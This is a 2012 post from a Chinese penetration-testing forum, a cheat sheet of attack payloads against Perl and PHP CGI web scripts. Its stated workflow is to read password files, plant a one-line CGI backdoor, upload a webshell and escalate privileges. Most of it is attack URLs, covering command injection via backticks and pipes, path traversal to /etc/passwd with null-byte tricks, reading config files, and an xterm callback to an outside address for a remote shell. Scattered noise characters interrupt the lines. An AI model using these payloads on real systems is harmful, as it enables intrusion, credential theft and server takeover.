中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  . D4 h6 b3 ]; @! q" g* W: o
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
/ `6 U- S8 E0 p* J3 J感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  * x/ ~5 Q( }2 T! d* v! }- b4 J) S
注“  % D  O6 d/ p4 J' o* a- ?: Z
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
5 ~  b% d/ y8 {9 h% ^/ D6 W以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  1 n+ o& U% j. R5 E! W' x

3 r; r2 P& i/ s( i+ ehttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  # l: Q# I" z8 T# X/ a
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
- e: _( z: ^$ n6 p% N; V, P7 Bhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
; m5 p! Q6 B- }! X& a6 Yhttp://target.com/cgi-bin/home/news/sub.pl?`id`  # m# s% d& P8 D: z. J2 g( S# S
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
6 l+ t# {: A. L: u& K7 S3 yhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
' F# G8 |2 w# b0 K' D- r, o
2 N2 |" P7 i# D0 O  Dhttp://target.com/test.pl;ls|  . `7 I4 }& f! q+ d0 ^. Z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
7 w5 a- z8 A& @( j- ihttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  7 w! l2 s+ I. Q3 \- D% i" H4 O% E9 ?
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  * P6 q$ o) g1 `$ h
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
' I4 V; F# c6 F: l- q: zhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
: E2 E5 |- Z4 m; d& s) Z3 w( n4 `1 k6 m, y7 H
http://target.com/test.pl?&........ /../../etc/passwd  ( ?- H8 o8 U  W6 W6 M* j, C

) l3 ]6 r: ?1 g1 @  Jhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  " I4 n1 b& s9 ~! ]
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
/ b) V& l0 n  N7 N+ Ahttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  $ N  [' l7 u  @' s

1 j+ S0 J0 z6 ]0 L' Q1 {. Vhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  0 B% Y+ P# V4 S
http://www.target.org/show.php?f ... ng/admin/global.php  
- g2 S" a! k+ ~; Z% E) C$ c; b
& l" n% S5 S- Q4 Z# |# Y( jemm和ps的一句话, j0 `; a" L, Q& R( [: M/ ?

% o) d7 O8 ^" [7 {http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  0 Q) s+ N$ O/ L- Z8 f4 o; c
! E- N& g8 L0 v7 x
>bbb%20|  
1 \. G- e# ?. v( s; W) W* z7 k- u+ c5 y8 {: `
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  & C8 }: j4 p" z, K
! L+ @/ w: }( y* g6 k* u, ?3 V
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ' o% w' l  h+ |$ j- L& P  }  ~" d
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  5 a" [6 A- X/ O% Z, }7 [( }

8 K! J- Y7 f' Z' \相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
- ^0 v, r% ?; s9 t- E+ Ihttp://target.com/index.html#cmd.exe  & \& H' `; p1 b; R, k9 k
http://target.com/index.html?dummyparam=xp_cmdshell  
% W) m2 N# d" n  N- M1 p7 mlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
+ Q1 d# L8 W$ p& g0 u+ P: B




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2